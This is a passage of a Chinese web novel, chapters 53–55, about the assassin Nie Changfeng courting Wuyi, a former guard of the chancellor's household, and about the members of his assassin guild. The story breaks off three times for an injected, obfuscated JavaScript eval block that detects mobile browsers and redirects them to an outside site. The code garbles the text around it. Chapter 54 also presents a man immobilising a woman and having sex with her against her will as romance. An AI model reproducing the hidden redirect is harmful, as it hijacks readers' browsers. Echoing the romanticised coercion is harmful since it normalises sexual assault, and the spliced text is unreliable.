只有旖旎的琴声婉转如无意,是一个姑娘在弹琴,那人声如天籁,浇灭了他心头的所有怒火:“公子好雅兴呀,莫非只是来这醉红楼听无意弹曲的?” 就她了,几乎是不加思索的,聂长风一眼就认定了那个姑娘,胆子够大,武功也不错,将满心的杀意化身为绕指柔。 如果他忤逆不了林青筱,那么他唯一能做的,就只有顺从了。 林青筱意识到不对,聂长风怕是又要搞事情,麻溜地跑进来打圆场。 聂长风读懂了她的言外之意,并没有跟她搭话,只是远远地抛给她一句:“我走了。” 聂长风再来醉红楼的时候,就直接了地跟她说起无意,林青筱笑得合不拢嘴,嘴上道着,我儿终于开窍了,喜滋滋地跟他介绍无意。 “其实啊,这个姑娘挺好的,十几年了,安静地待在醉红楼里,就为了守护月娘。我觉得吧,这是个痴情又执着的女子,她是个好女孩。” 看着林青筱脸上的褶皱堆成一朵花,聂长风突然觉得,曾经为他顶天立地的那个女人,她老了。 “你可别再像你爹你一样,几句甜言蜜语就把人家骗到了手,然后就不管不问有了新欢,要做点实际的出来,别辜负人家。” 聂长风听着,目光却移上了她鬓间的几缕白。 见他又不说话,林青筱幽幽地叹了口气:“女孩子的感情啊,都廉价,但愿她不是个像我一样的傻姑娘……” 53. 随君心① 三丫头,无意不记得,她小的时候李谌总这样叫她。 她是李谌的私生女,李谌不能给她母亲任何的名分,于心愧疚,只能把无意收入丞相府,养在身边,图一份心安。 那时候的无意还不懂什么是仇,什么是恨,也没有开始学习任何武功,也不知道自己的真实身份,以为自己是一个小宫女,就伴在李碧瑶身边,陪她玩耍。 虽然那时的李碧瑶不过是个小丫头片子,但她性子暴戾,顽劣成性,故而她身边的玩伴很少,所以无意也不知道什么是尊卑,一个真正的宫女又该是何模样。 丞相府锦衣玉食供着无意,俨然一副李家三小姐的阵势,李谌给她的任务也很简单,只要不把大小姐弄哭弄丢就好。 可是大小姐私底下不知道把她弄哭了多少遍——在她的床上放死老鼠,在她的饭里拌小石头,趁她熟睡拿了毛笔在她脸上画王八,好久都没洗掉…… 诸如此类,大小姐乐此不疲,慢慢地,无意一介弱女子,也被练得很胆大。 后来丞相府来了一队护卫,他们各个武艺高强,无意看了好生羡慕,在丞相面前打滚卖萌非要学,李谌拗不过她,却也碍于她的身份难以安排,就同意了。好巧,那几人一看,无意骨骼惊奇,是个练武之才,便把她收入队伍。 终于摆脱了那个小冤家,无意不知道有多么高兴。就这样,她成了护卫队的一员,武艺日见精进,竟超越了不少比她先来的前辈们。 尔后这只护卫队,在无意的主张下,成为了府里的一支暗卫队伍,专门处理一些棘手的事情。 说巧也不巧,自打开始习武,无意和李碧瑶的交集也就少了。 李碧瑶起初还向父亲念叨,每天跟她一起玩的那个小女孩不见了,李谌跟她说,那个小女孩有了别的事情,不能跟她一起玩了,让她去找妹妹李碧凝玩,不要欺负妹妹就好。 小小的李碧瑶似懂非懂,日子久了也不再过问这件事了。 而成为了暗卫,无意等人的身份更加不能公开,跟李碧瑶的接触也更加少了。以至于往后的十几年里,李碧瑶却再也没有记起她。 无意却一直记得她的冤家大小姐,她有时候又会羡慕李碧瑶,羡慕她的多才多艺,羡慕她的胆大敢为。 蓦地李碧瑶弹着一曲琵琶,无意在离她不远的地方听得如痴如醉,次日,她便去了最好的乐音坊,请了最好的乐师学习。当然,这只能是私下里。 无意任务后踏月而归,在屋顶上不经意看见李碧瑶在月下独舞,惊为天人之姿。无意也找人来教自己,可教舞的那个姑娘说她动作生硬,姿势刚气太过,不适合学舞,遂放弃。 表面上,她是丞相府所向披靡的暗卫头领,但暗卫队伍里只有她一个女子,她可不想因为跟大家有所不同而被笑话,于他们而言,刀剑才是正道,琴曲舞艺什么的,只能算作矫情。 有时候,她又不甘于自己是个永远不能见人神秘暗卫,扮作了婢女丫鬟什么的和府里的其他人一起玩,好巧不巧都能撞见李碧瑶,还经常被她捉弄一番。 那日,春色正好,清风拂面,桃花正浓,无意穿了件丫鬟装扮的薄衫,躺在屋顶晒太阳。 而不远处,李碧瑶独自放着一个自制的纸鸢,纸鸢上面用笔墨五大三粗地画了个鬼画符图案。无意见了,轻轻笑了笑,这倒真是大小姐洒脱的风格呢。 不远处还有几个看着李碧瑶的奴才,大概是因为害怕,也没有敢靠得太近。 李家有两位小姐,虽模样相似,其实很好区分。大小姐李碧瑶向来我行我素,身畔连个宫女奴才都没有,二小姐李碧凝温文贤惠,旁边总跟着个贴身丫鬟。 本着大小姐不是善茬,她不招惹我,我就不主动去打扰她,她要是招惹我,我就赶紧溜的原则,无意只是默默地看着这一切,并不做声。 她现在身怀武功,怕李碧瑶倒是不至于,可无意也不想给自己惹一些不必要的麻烦。 可偏偏天公不作美,那纸鸢在半空中断了线,仿佛长了眼睛似的,正以一个奇特的速度朝她这边坠过来。 无意心里有一种不好的预感,而这种预感越来越强烈。因为那纸鸢掉到了她旁边的一棵挺拔高大的大树上,就在自己伸手就能够到的地方…… “你别动!” 无意刚想伸手去够那纸鸢,好赶快把它还给李碧瑶,打发走这个瘟神,却被她一声喝住。 伸到半空的手蓦地止住,无意心想,大小姐说什么就是什么,不然又要惹得她不开心了,又不知道会想什么办法针对她呢。 无意收回手,却也手足无措,现在看来,是这纸鸢不长眼,主动招惹的自己,跑掉是没有可能了。 没多久,李碧瑶提了裙摆,气喘吁吁地站在了树下,指着无意大声道:“你!下来!” 无意一翻身,就从屋檐上滚了下去,只是她没有用任何武功,就结结实实地摔在了地上。 这点小伤小疼对她而言并不算什么,当初特战训练的时候,比这重的伤多了去了。她立马从地上爬起来,恭恭敬敬地朝李碧瑶问道:“大小姐有何吩咐?” “你蹲着!我要自己上去把纸鸢拿下来。”李碧瑶朝她命令道。 无意满脸黑线,就不该惯着她的,就应该把纸鸢一把拽下来,自己一溜烟踩了轻功跑掉的。 可她还是照做了,李碧瑶一副志在必得的模样,脚踩上她的肩膀,借力抓住几根岔出的枝桠,爬上了那株大树,取到了她的鬼画符纸鸢,脸上露出了得意的笑。 “我要跳下去了,你要接着我哟。”新叶间的女子笑靥如花,仿佛人畜无害一般,朝她甜甜地说了句。 无意突然觉得今天的大小姐,有点……温柔? 碍于会暴露身份,无意也没有使用武功,她就直直地站在树下,张开怀抱,等待着树上那人跳下来。 结果就是李碧瑶直接四仰八叉地把她拍在地上,还不忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为这件事,丞相大人狠狠地教训了李碧瑶一番,李碧瑶只想是因为自己差点闹出人命,她哪里会想到,进一步的原因,是因为这次落水的女子,不仅是李府的暗卫,更是丞相大人的亲生骨肉。 无意吸取了那次的教训,那以后,她学会了游水。事实证明,这项本领是真的有效,以至于后来很多次任务里,无意都通过跳江跳河死里逃生,而这一切,归功于她贪玩的大小姐。 诸如此类的事情,好多好多,自己一直跟她纠结不清。 本来二人相安无事十几年,只是偶尔打打照面,无意也没想明白,李碧瑶于她,到底意味着什么? 直到那折赐婚的圣旨到来,李碧瑶气得出走丞相府,无意得了任务,外出寻她,整整追了两天两夜,李碧瑶却是心一横,跳了崖。 那一天无意彻夜未眠,那感觉,就像是心上某处缺了一块,难受至极。可是为什么会这样?明明那个女孩子,向来喜欢捉弄她,向来都会惹她哭啊。 54. 随君心② 李谌说:“从今天起,你就是丞相府的人了。” 成为暗卫后,无意不记得自己是什么时候去的丞相府,却对这句话记忆犹新,仔细想想却又有哪里不对。 她不知道自己的母亲是丞相大人见不得光的情人。 她不记得自己的母亲拼命为了保下她,被相府的大夫人活活溺死在了井中。 她唯一记得的,就只有李碧瑶,丞相府古灵精怪的大小姐。 “姐姐。”无意总是这么唤她,久而久之,大家都以为姐姐只是她对李碧瑶一个尊称,却忘了她本该是丞相府的三小姐。 无意的娘死后,李谌心生愧疚,将无意收为义女,放在了大女儿李碧瑶身边。 因为全府上下都知道李碧瑶脾气暴躁,不好招惹,最危险的地方也是最安全的地方,只有待在李碧瑶身边无意才是安全的。 无意看了李碧瑶就觉得欢喜至极,觉得她不像个大家闺秀,倒像头山间的小鹿,性子里带着一股野性。 可惜相府没有这么一片森林去豢养这么一头小鹿,无意暗暗下定决心,要成为她的森林。 她练武,为了保护她,她学艺,为了比上她。 甚至为她,将自己捯饬进了醉红楼。 在楼里,她从来都不会主动去跟李碧瑶说任何一句话,却默默在背地里守护着她,不让她受半丁点儿的欺负。 甚至李碧瑶改名易姓,成为了醉红楼的头牌,无意的目光里,也只有羡慕,没有半点的嫉妒。 无意觉得,她是天子骄子,众星捧月,本该如此。 后来碧瑶有了孩子,无意却依然孑然一身,她也没有羡慕,只是给自己加了项任务,除了守护着大小姐,还有她的月柒,她们娘俩,一个都不能受到半点伤害。 就好像相府没有被灭满门,李碧瑶仍然是那个大小姐,无意仍是那个暗卫一样。 她不记得有多少年了,伴随着自己的只有乐声和酒客的喧嚣,这样的日子日复一日,成为了寻常,倒也让人习惯。 这天,无意像寻常一样收了琵琶,侍女小昭接过,抱着就转身走了。 无意向来独来独往惯了,不喜有人跟着,她起身,莲步轻移,上了三楼。 “无意,我喜欢你。”哪知在房门口,被一个满身酒气的男人抱住。 不知道又是哪里来的酒鬼,她有些嫌弃,皱了皱眉,刚想推开身边的人。 哪知对方像一块牛皮糖一样,紧紧地黏着她,并不松手。 无意不是个会任人欺凌的弱女子,毕竟狗急了也会跳墙,兔子急了也会咬人。那一瞬,她眸中闪过一丝杀机,刚准备动手,那男子倒也不慌乱,抢先一把点了她的穴道。 哪知那人不仅根本没醉,而且武功远胜于她的! 无意想求救,哪知喉咙里完全发不出一点声音,怎么办? 聂长风横抱起她,她想挣扎,却因为被点了穴道,一点都动不了,她急得快要哭出来。 怎么办,他是谁?他到底想干嘛? 虽然无意对聂长风一无所知,聂长风可是把她的底细探了个究竟,他知道她是丞相旧部,知道她为什么在醉红楼,他甚至还知道,她是完璧之身。 他把她抱进了屋子,直接丢在了大床上,随即开始剥她的衣服——名分宠爱他当然都会给她,只是他最好的年纪都用来打打杀杀了,也不知道该怎么去喜欢一个人,怎么去讨女孩子欢心,索性先把生米煮成熟饭吧。 无意不解,她这是,遇到了采花大盗?不应该啊……醉红楼内比她貌美的女子比比皆是,为什么非挑她一个只负责弹琴的姑娘下手啊! 有生涩的吻轻轻地落下来,无意想推开他,却根本无法动弹。 聂长风触到了那一片香甜,越发觉得美好,不断地索取着。无意当然不依,她根本不知道眼前的男子是何身份,两个人不清不白的就这样……她试图冲破穴道,吃力地在他肩上咬了一口。 聂长风吃痛地皱了皱眉头,却并没停下手中的动作,口中的腥甜弥漫开来。 二人发丝纠缠在一起,丝丝入扣,聂长风在她耳鬓私语:“别怕。” 声音是极温柔的,无意所有的反抗,在他的霸道与温柔中,化作了声声嘤咛,连她自己都觉得羞耻。 红烛静燃,春宵乍暖。 第二天一早,无意是被窗外稀疏的鸟雀声叫醒的,身边的床位空空如也,早已没了那人的身影。 下身的疼痛已经褪去,几乎已经察觉不到了。无意开始怀疑,昨天晚上发生的一切是一场春梦,直到目光触到了床上那抹猩红,一切都告诉她,昨天晚上发生的事情是真的。 她又羞又恼,莫名的红唰地一下爬满了脸颊,紧跟着,她便一直在梳妆台前傻傻地坐着,也未有何动静,昨夜的一幕幕在脑海盘旋着。 “无意姑娘,你的琴。”小昭已经是第三次重复这句话了,无意才回过神来,说了句:“啊!” 拨着手中的琴,无意脑海中浮现的却是那个男子的面容,清冷薄凉的面容,却是有一点好看的,想着想着,手中拨动的琴弦却乱了分寸。连小昭都听出了不对劲,忍不住皱了皱眉头,嘀咕了一句:“姑娘今天是怎么了?” “啊?”无意又是一惊。 无意还偷偷地看他有没有在台下的人群里,她甚至都不知道他是谁。 一天,两天,三天,那个男人都没有再出现。 这里是青楼,她现在也不过是一介青楼女子,如此这般,究竟在奢望着什么?他还能八抬大轿三媒六聘把自己娶回去还是怎么的?无意摇了摇头,止住自己胡乱的思绪,又笑自己傻,试图把过去的种种当做一场梦,心却像漏了一拍般难过。 “抱歉,有点事,我回来了。”第四天,那人声如天籁,出现在了她的房中。 无意转过头去看他,耳饰上的吊珠“啪嗒”一下打在了如瓷般的小脸上,心中纳闷,他这是在解释? 她有些委屈,怒地拔出他身上的佩剑,朝他刺去。 他也不躲,站得笔直地迎接着,下一瞬,他的胸前被鲜血染湿一大片。 他虽杀人无数,却也向来不喜血色,黑色正好可以掩饰其他的所有颜色。此时,墨色的袍子掩映着那一片鲜红,仿佛无事发生。 可是下一秒,无意就慌了:“你怎么不躲呀?” 她以为他会躲,可是他没有。 “我这辈子杀人无数,要是能死在你手里,我也甘心。”他也不知道哪里来的底气,无意只听得满耳的优渥,瞧瞧,多硬气的一句话。 先兵后礼,聂长风并不觉得自己做错了什么。 “你难道不知道有个词叫两情相悦吗?”无意和他对视着,却看不见他眼中的波澜。 聂长风是个粗人,没读多少你侬我侬的诗篇,只有人告诉他,怎么用最短的时间,杀最多的人,情情爱爱的,他真的不擅长。 依旧是不起波澜的眸,冷清的声音,聂长风答道:“不知道,我只知道,我心悦你。” 见他不想说太多,无意索性开门见山,知己知彼,便问他:“名字。” “在下剑无情。”见无意不作声,聂长风又打趣道:“曲无意,剑无情。咱俩的名字就很般配。” 无意并不接他话茬,仍对他的所作所为感到气愤:“不要脸,谁跟你很般配了。” 要原谅他也不是不可以,虽然面前的人是有那么一丢丢好看就是了,无意又在心里给自己敲鼓:啊啊啊,曲无意你要冷静,不能被美色所诱惑! 两人各怀心思,沉默了许久,他才缓缓说道:“聂长风。” 聂长风是吧,无意心里想着,记住这个名字了。 她被某种不知名的情绪冲昏了头脑,一时没想起,玉宵国最大的杀手组织,叫千机楼,楼主就叫聂长风。 往后的日子里,无意无论去哪里,聂长风都偷偷地远远地跟在她身后。 看到她面露喜色逗了好久的兔儿,聂长风待她离开那家摊位后,便买了那只兔子,放在了无意房间的桌子上,上面贴了张纸条,写着“送给夫人”。 无意回头交给了厨房做了一道红烧兔肉。 “小昭,以后这些东西不要出现在我的桌子上面。”无意吩咐小昭。 “可是,姑娘你不也是很喜欢吗?今天的红烧兔肉您客气吃得津津有味呢。”小昭在一旁补刀,心里是替她开心的,小姐也终于有心上人了吗? 无意瞪了她一眼。 看到她在梳妆镜前描眉,聂长风转手就去买了套上好的胭脂水粉,放在她的桌上,照理写上“送给夫人”。无意放在鼻前嗅了嗅,味道还有些好闻,默默地将它们收起。 他在她梁上,看着她面对着一笺书信,面露难色。 他趁她半夜熟睡,悄悄地摸出那张泛黄的纸页,看到了上面写的东西,二话没说,就翻窗出去了。等他回来时,兵部尚书暴毙的消息已经传遍了全念城。 无意半夜醒来,发现那封书信被人动过,心里暗念了声不妙。 窗子也还开着,想来那个人看到了书信内容以后,肯定是从窗子溜走了。 她对着烛光坐了一夜,心里盘算着下一步的计划。 天刚蒙蒙亮的时候,聂长风沐浴更衣完,刚想翻窗进屋,却被无意逮个正着。 “你!一直在跟踪我?”这里是三楼,无意好奇,他怎么上来的?! 她蓦地想起他买的兔子、脂粉,还有一些乱七八糟的东西,那些都是她逛过的铺子! “我在保护着夫人。”聂长风麻溜地翻进屋子里,毫不客气地找了张凳子就坐下。 “谁是你夫人了?你别乱叫!” “我们既已行过夫妻之事,叫你夫人有何不妥?” “这个是你拆的?”无意朝他晃了晃手中的书信。 “是呀,怎么了?”云淡风轻的语气,一如既往地视人命如草芥。 还好是他。无意这么想着,心里的石头倒是落了地,她真的十分确定,他不是左相的人,因为,他们忙着谋划筹措、调兵遣将,根本不可能这么闲。 无意刚下楼,就听说了千机楼聂长风在昨夜杀死了兵部尚书这件事。 聂长风,这不就是身边的这个男人嘛,难怪,自己总觉得他的名字耳熟。 原来,他是千机楼的人啊。 一人独闯尚书府这等凶险之地,更何况他还受着伤。 想到这里,她赶紧把他拉回房间,把他的上衣层层剥开。她的那一剑刺得极深,若不是看他毫不避让,无意的剑锋刻意偏了几寸,那一剑完全可以要了他的命。 看到那个伤口安然无恙,无意长舒了一口气。却因为看到他身上密密麻麻的伤疤,心又不知为何开始揪了起来。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244510|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个杀手,算得上半个亡命之徒,每次出任务都可以说是九死一生,身上各种各样的伤疤也不奇怪。 尔后无意就不淡定了,她居然……光天化日,把聂长风的衣服扒了? 虽然说以前做暗卫的时候有给部下疗过伤,可这个男子,毕竟是跟自己有过肌肤之亲的,他会不会觉得,自己对他有非分之想……想到这里,无意的脸上爬上了些莫名的颜色。 “怎么了?夫人这是心疼为夫了?”聂长风也不避讳,顾自穿好衣裳。 “才没有。”无意转过头去,生怕他看到自己脸上的两朵红晕。 没过两天,户部尚书也死在了聂长风剑下。 聂长风坐在无意房间里,悠悠地喝着茶水,翘着二郎腿,磕着面前的瓜子。 “我们还没有找到户部尚书谋逆的准确证据,只是初步怀疑,你怎么就把他杀了?” “我聂长风杀人,还要什么证据?” 从那以后,聂长风依旧像条尾巴一样追随着无意,用他的话说,既然自己已经暴露了,就没必要躲躲藏藏了,可无意总觉得被人跟着,浑身都不自在。 许久未回醉红楼,无意闲来无事,想弹些小曲自娱自乐一番,就吩咐小昭去取她的琵琶。 哪知聂长风突然出现在她面前,一把夺过她手中的琵琶:“我不管,从今天以后你不许在别的男人面前弹琴唱曲,不许对着他们笑。” “你还给我。”她想去抢他藏在背后的琵琶,他却麻溜地一转身,避开了她。 她根本跟不上聂长风的步伐,他们武功相差太多了。 “别忘了,你可是我聂长风的女人,需要我再跟你说一遍吗?”他的面容在她的面前蓦然放大,她不寒而栗。 吓得无意慌忙后退几步,那啥,琵琶她不要了。 无意有点不懂,明明自己跟他都是一路人,自己为何会这么怕他,难道只是因为他的武功高? 除了会抢她的乐器,聂长风别的时候,都跟她相安无事地坐在房间里,或擦拭着他的长剑,或摆弄着他的机关,或装着各种各样的药粉。 无意看着他安静的样子,取了笔墨,一笔一划地描摹着他的轮廓,托腮道:“聂长风,不是说,杀手都是不能有情感的吗?这样看来,你真的是个失败的杀手。” 聂长风摸了摸鼻子:“失败吗?” 他号令五阁,手下十几名江湖杀手榜上数一数二的高手,他们各个身怀绝技,仔细一想,他这楼主,好像也不太差。 无意有时候又会想着些乱七八糟的事,比如他的父母家庭,他的三妻四妾。 “喂,姓聂的,我是你的第几任夫人呀?”他那么霸道,女孩子家又视名节为生命,他又不缺钱,模样也俊,只要他愿意,想要几个就有几个吧。 “你在意?”聂长风剑眉一挑。 聂长风想了想,整个千机楼,除了冷娣带着个折蝶,其他人貌似都是举目无亲,更别说娶妻生子了。于一个杀手而言,感情本来就是多余的,羁绊越多,越放不下,要不是想让林青筱放下心来,他其实也不想多此一举,怕像聂云天一样,到时候平白地伤了无意的心,成了个负心人。 “聂某并无妻妾。”见她不做声,大概是有小情绪了,聂长风坦言。 无意听罢,心中有一丝丝的窃喜,也不避讳,直问他:“你都这么大年纪了,怎么还没娶妻呀?” “你都这么大年纪了,不也没嫁出去吗?” 并不答他,无意仰起头,望向外面碧蓝的天。曾经在某天,天也是这么蓝,有个女孩子轻轻放了一个鬼画符的风筝,那个风筝拽着她,一路越走越远。 “你为什么会喜欢我呀?”终究还是小女生心性,无意没忍住,问聂长风。 “因为我觉得,你跟她们不一样。” 要是大家都一样,这个世界得多无趣呀,无意心里念叨了一句,又偷偷去看聂长风的表情。 从前无意觉得,聂长风冷血,不近人情,不知道是不是相处多了的原因,现在她在他的身上看到了几丝的柔情。 大概是错觉吧。 见她问东问西,聂长风也吐露自己心里的不快:“可我看到你和别的男人唧唧我我,便不开心。” 无意想了想,别的男人,她说的是沈笑? 她没反驳,清者自清,一切都是为了计划,不过是在外人面前做戏罢了。 许久许久,聂长风才缓缓开口,沙哑着嗓子问道:“千机楼五阁为聘,你嫁不嫁?” “不嫁,你那千机楼,除了折蝶,就没个会笑的人,怪冷冰冰的。” “我冷冰冰?”语气里透着危险的气息,随即无意触到了他鹰隼般的目光。 刚想反驳:“啊,没有,不是,我……” 随即他一把搂过她的腰,把她捞到自己腿上坐着,下一秒,聂长风捉住她的柔荑,放在了自己的胸口上:“你摸摸我的心,是不是热的?” 无意红了脸,她也想不通,为什么在这个男人面前,她总是淡定不起来,可能身陷爱情的女子,都是傻的吧。 紧接着,聂长风又补充道:“为你发热。” 无意被他吓得一动不敢动,像一只受惊的小兔般窝在他的怀里。 “再问一遍,你嫁不嫁?” “我嫁,我嫁……”无意头点得跟狂风中胡乱摇曳的狗尾草一样。 55. 千机楼众生相 “长风哥哥你回来了呀!”折蝶看到了来人,激动得一把扑过去,聂长风微微蹙了蹙眉,一个凌波微步,赶紧避开了她。 “你又来?”冰冷的语气,带着几分的疏离和质疑。 这丫头,怕是又疯玩忘了形吧。 折蝶说不上自己有多喜欢聂长风,只是觉得这个大哥哥虽然板着脸,浑身一股子清冷的气息,还是个手起刀落杀人如麻的杀手,却总对他有那么些好感。尤其是在听过了聂长风的故事后,感动得一把鼻涕一把泪,哭得稀里哗啦的。 可能是因为爹这个角色的缺失,寒镜多半时间都在外,千机楼里又常常只有冷娣一个女子,所以千机楼的众人一定程度上都成了如她的父兄般的存在。 却不曾想折蝶上回也是这样扑向聂长风,那时的聂长风也不把她当回事,也没有刻意躲开,下场就是高烧三天不起,不仅如此,全身的武功都被暂时消退了,整整一个月才恢复。期间恰逢仇家来寻仇,聂长风只身孤影,差点就成了对方的剑下幽魂。 折蝶自知理亏,耷拉着脑袋,静静立在一边也不说话。 拥抱什么的,真的是一种奢望。除了阿娘,她谁都碰不了。 好多次了,那些接触到她的人,轻则昏迷,重则毙命。后来这成为了一个公认的忌讳,大家将她视为洪水猛兽,便很有默契地避而远之。 她这浑身的剧毒是从娘胎里带来的,天生的,找了很多的用毒高手,试了很多方法,最后那些个大师,不是昏迷不醒,就是直接毙命。最后病没治好,名声倒是传开了,聂长风二话不说,直接把折蝶收进了千机楼——他要的就是这种,一听名字就让人闻风丧胆的感觉,这样才配得上千机楼的高调。 瞅见了一旁的娘亲,折蝶一把挂到了她身上,小脸埋进她的怀里,试图寻找些安慰。 “不怪你,都怪娘,娘当时身中剧毒,要不是娘当初执意要生下你,也没这么多问题。” 冷娣轻轻摸了摸折蝶的小脑袋,替她把额前的一缕碎发拢到耳后,目光中含着几丝歉意。 “娘,为什么?”折蝶抬起头来,顶着一双天真无邪的眸子问冷娣。 冷娣知道她想问什么,为什么即便是生下一个被世俗所不容的孩子,也不愿意放弃她?那个男人,不惜花重金给她布下剧毒,千方百计想要害她性命,十月怀胎,命悬一线,可她都没有放弃,还好折蝶顺利诞世。 终究是自己,没放下。 “千机楼的大家,不是不喜欢你,是因为你是一个特殊的存在,所以对你百般照顾,你知道了吗?” “特殊,那是什么?”折蝶歪了歪小脑袋,不解地问道。 “特殊就是,像权律叔叔送你的冥蝶那样的存在,你看啊,我们千机楼这么多人,只有折蝶有蝴蝶宝宝呢。” 权律是千机楼里一个神神叨叨的八卦风水师,每天嘴边念叨着煞啊炁啊还有阴阳理论,当初成立千机楼五阁的时候,权律就在了。作为元老级人物,权律本想按照奇门遁甲的八个方位,成立八个分部,位于玉霄国的八方。 哪知聂长风听了,剑眉一挑:“生门?进了千机楼的猎杀名单,还有生路?” 权律马上就把开、休、生三门撤了,此三门为生门,留着估计聂长风听了以后又要不高兴。 除此之外,权律平日里喜欢搜集些奇奇怪怪的物件,甚至折蝶身上的毒,冥蝶也是其中的一样。 冥蝶纵然颜色斑斓炫目,可浑身的鳞粉上都沾满了毒物,寻常人碰都碰不得,权律却意外地发现,这种毒跟折蝶身上的毒并不排斥,当即找到了在山谷中独自玩耍的折蝶。 “小蝶啊,我这里有宝贝,你要不要?”权律朝她晃了晃手中的一个瓶子,里面装的是冥蝶的卵。 第一次,有除了娘亲以外的人主动跟她讲话,还要送东西给她。折蝶望着他,小小的眼睛里都是欢喜,一路小跑到他跟前。 根本没有人敢靠近她,寻常,冷娣出了任务,折蝶都会在千机楼附近的大山里独自玩耍。 “那你要把身上弄得香香的,蝴蝶才会喜欢你哟。”权律见眼前人满心欢喜,在心中默念了句,唉,可怜的孩子。 “嗯!”夕阳下,折蝶小心翼翼地接过权律手中的小瓶子,宝贝似的揣进兜里。 那一次,冷娣刚出完任务,回来就看到了这一幕,折蝶那副兴奋而又满足的模样,让她一直难以忘怀。 可能是因为名字里有一个“蝶”字,折蝶对于她的宝贝蝴蝶们喜欢得不得了,寻日里都小心翼翼地照看着,生怕出了半点差池。 冷娣回过神来,想了想,大抵特殊就是,就算你和别人不一样,也能被温柔相待吧。 思绪转回现实,千机楼往生殿中,短短一刻钟便聚集了十数人,初一酉时七刻是千机楼每月的例会时间。 看见聂长风进来,权律提醒他:“长风,三天前无忧会丢过来一个活计,刺杀暮晚国的三皇子楚潇。” 无忧会是千机楼的同盟,一般无忧会丢过来的任务,都是棘手而且赏金也不菲的,千机楼一向都乐意接受。 “唔,我知道。我也是才忙完手上的事,就为了这个事赶回来的。”聂长风抿着唇,眉头紧皱:“楚潇目前不在暮晚国,据说是为了找什么东西,去了炎灸。” “炎灸?”众人异口同声问道,心想这也太远了吧。 “是的,无忧会还提供了消息,楚潇此行,只带了十几名侍卫。” 除了距离有点远,的确是个美差,只需以一敌十,又没有什么机关暗器。 “谁去?目前千机楼人手不够,还要分几个给朝廷,这个任务,只能一个人去。” 本来千机楼和朝廷是井水不犯河水,为什么突然鼎力相助,这其中的原因,大家都心知肚明。 还不是因为新来的楼主夫人是政局中人。 左相势力倾覆,朝廷架构重组,不少残党余孽还待解决,千机楼为此也忙得不亦乐乎。 折蝶声音软软糯糯的,一把扑进了冷娣的怀里:“我不去,我要和娘亲在一起,炎灸那么远,娘亲不在折蝶身边,折蝶会想她的。” 聂长风环视了一周,屋子里没派任务的只有寥寥数人——风澈、冷娣、折蝶、无影、权律。待他扫过懒洋洋地靠在屋里的柱子旁的风澈,风澈会意到了那双眸,只觉得如芒在背,一下子弹了起来。 “我……我路痴,去了可就回不来了,三思三思,诸位三思啊。” 风澈武功其实不低,曾去玉霄国皇宫九层密阁内盗宝,因为遗失了地图,被困在皇宫密阁里一日有余才出来,好在他形影如鬼魅,身手不凡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244511|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能逃过巡逻的卫兵。这件事在他心中留下了阴影,无奈,只能沦落成千机楼的药师。 语罢,聂长风的目光又瞟到了双手抱在胸前,身背长剑,靠着墙一言不发的无影身上:“无影,那就你去吧。” “是,属下领命。” 无影话少,干活确是雷厉风行。 “这是地图,从玉霄国出发,途径耿安、日辄、花迟,到达炎灸。本来还有楚潇的画像的,唉……你自己到时候去打听吧。” 聂长风不会说,楚潇的画像刚到手的时候,无意也在旁边。不过是因为她多看了两眼画上的男子,那画下一刻便在聂长风手中化作了一团碎屑。 他长的又不是不好看,她怎么可以看别的男人看那么久! “兄弟,此行甚远,一路当心。”聂长风拍了拍无影的肩,语重心长地嘱咐道。 “嗯。” “无影哥哥你要要去早回哦,你不在的日子里,折蝶会想你的。”折蝶伸出小手,本来想去抱抱无影的,脑海中浮现了聂长风刚才警告的眼神,恹恹地缩回了手。 “想?”无影侧了侧头,却没有理会她,随即身形一闪,消失在了小楼的窗外,只余一蓑烟雨,稀稀拉拉地下着。 无影和折蝶不同,他是纯纯粹粹的杀:手,手起剑落,杀人如麻。一个杀手罢了,多添些情爱都属累赘,不需要明白想为何物。 聂长风正在擦拭着他的长剑,冷娣一把捞过折蝶,开始给她梳起了小辫,大家各忙各的,仿佛刚刚什么都没有发生一样。 许久,权律打破了沉寂,问了句:“你们说,他多久可以回来?” “三个月吧,听说楚潇一行人已经过了花迟了。”聂长风望了望楼外的天青色。 “来来来,买定离手,买定离手!无影几个月能回来,长风押三个月,大家觉得呢?” 风澈是个赌鬼,什么时候都能来一局的那种。 大家各自忙着手头上的活儿,没有人理他。 一个软软糯糯的孩童音打破了沉默,高高举着手中的糖葫芦:“折蝶赌一串糖葫芦,三个月不够。” “小丫头,为什么呀?”风澈微蹲在她面前,抢过了她手里的糖葫芦签,一口咬了下去。 “你为什么抢我的糖葫芦啊,无影哥哥还没回来,你怎么知道是折蝶输了呢?”稚嫩的童声不解地问道。 “因为我饿了。”如同猛虎扑食般横扫一番,又把竹签塞回了面前的小娃娃手里。 折蝶看着回到手中只剩下两个的山楂,委屈巴巴的,眼泪几乎夺眶而出。 